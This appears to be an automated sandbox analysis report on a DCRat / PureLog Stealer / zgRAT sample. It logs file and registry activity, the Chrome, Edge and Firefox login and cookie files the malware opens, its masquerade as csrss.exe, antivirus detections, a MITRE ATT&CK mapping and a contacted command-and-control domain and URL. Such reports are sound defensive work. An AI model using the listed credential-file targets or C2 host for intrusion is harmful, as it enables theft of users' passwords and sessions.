Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe VolumeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe VolumeInformation
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\ProgramData\ssh\csrss.exe VolumeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe VolumeInformation
Source: C:\ProgramData\ssh\csrss.exe	Queries volume information: C:\ProgramData\ssh\csrss.exe VolumeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Queries volume information: C:\Users\user\Desktop\Gg6wivFINd.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe VolumeInformation

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.000000000336A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.0000000003501000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gg6wivFINd.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: csrss.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Gg6wivFINd.exe PID: 8164, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: Gg6wivFINd.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gg6wivFINd.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1659306757.0000000000B92000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\ssh\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: Gg6wivFINd.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gg6wivFINd.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\ssh\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.000000000336A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2923235693.0000000003501000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gg6wivFINd.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: csrss.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Gg6wivFINd.exe PID: 8164, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: Gg6wivFINd.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gg6wivFINd.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1659306757.0000000000B92000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\ssh\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: Gg6wivFINd.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gg6wivFINd.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\ssh\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	114 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	133 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Gg6wivFINd.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
Gg6wivFINd.exe	56%	Virustotal		Browse
Gg6wivFINd.exe	100%	Avira	HEUR/AGEN.1323342
Gg6wivFINd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\URqTugUz.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\lSvXNkJN.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat	100%	Avira	BAT/Delbat.C
C:\ProgramData\ssh\csrss.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\tHgNldeW.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\cAPiRqzI.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\lSvXNkJN.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ObFbaRth.log	100%	Joe Sandbox ML
C:\ProgramData\ssh\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\SGUSuOoy.log	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\tHgNldeW.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ProgramData\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ProgramData\ssh\csrss.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\ObFbaRth.log	8%	ReversingLabs
C:\Users\user\Desktop\SGUSuOoy.log	8%	ReversingLabs
C:\Users\user\Desktop\URqTugUz.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\VqLBvYHA.log	25%	ReversingLabs
C:\Users\user\Desktop\cAPiRqzI.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\lSvXNkJN.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\sKFFPdPb.log	25%	ReversingLabs
C:\Users\user\Desktop\tHgNldeW.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label
http://unasnetds.ru	0%	Avira URL Cloud	safe
http://unasnetds.ru/	0%	Avira URL Cloud	safe
http://unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
unasnetds.ru	188.114.96.3	true	true		unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

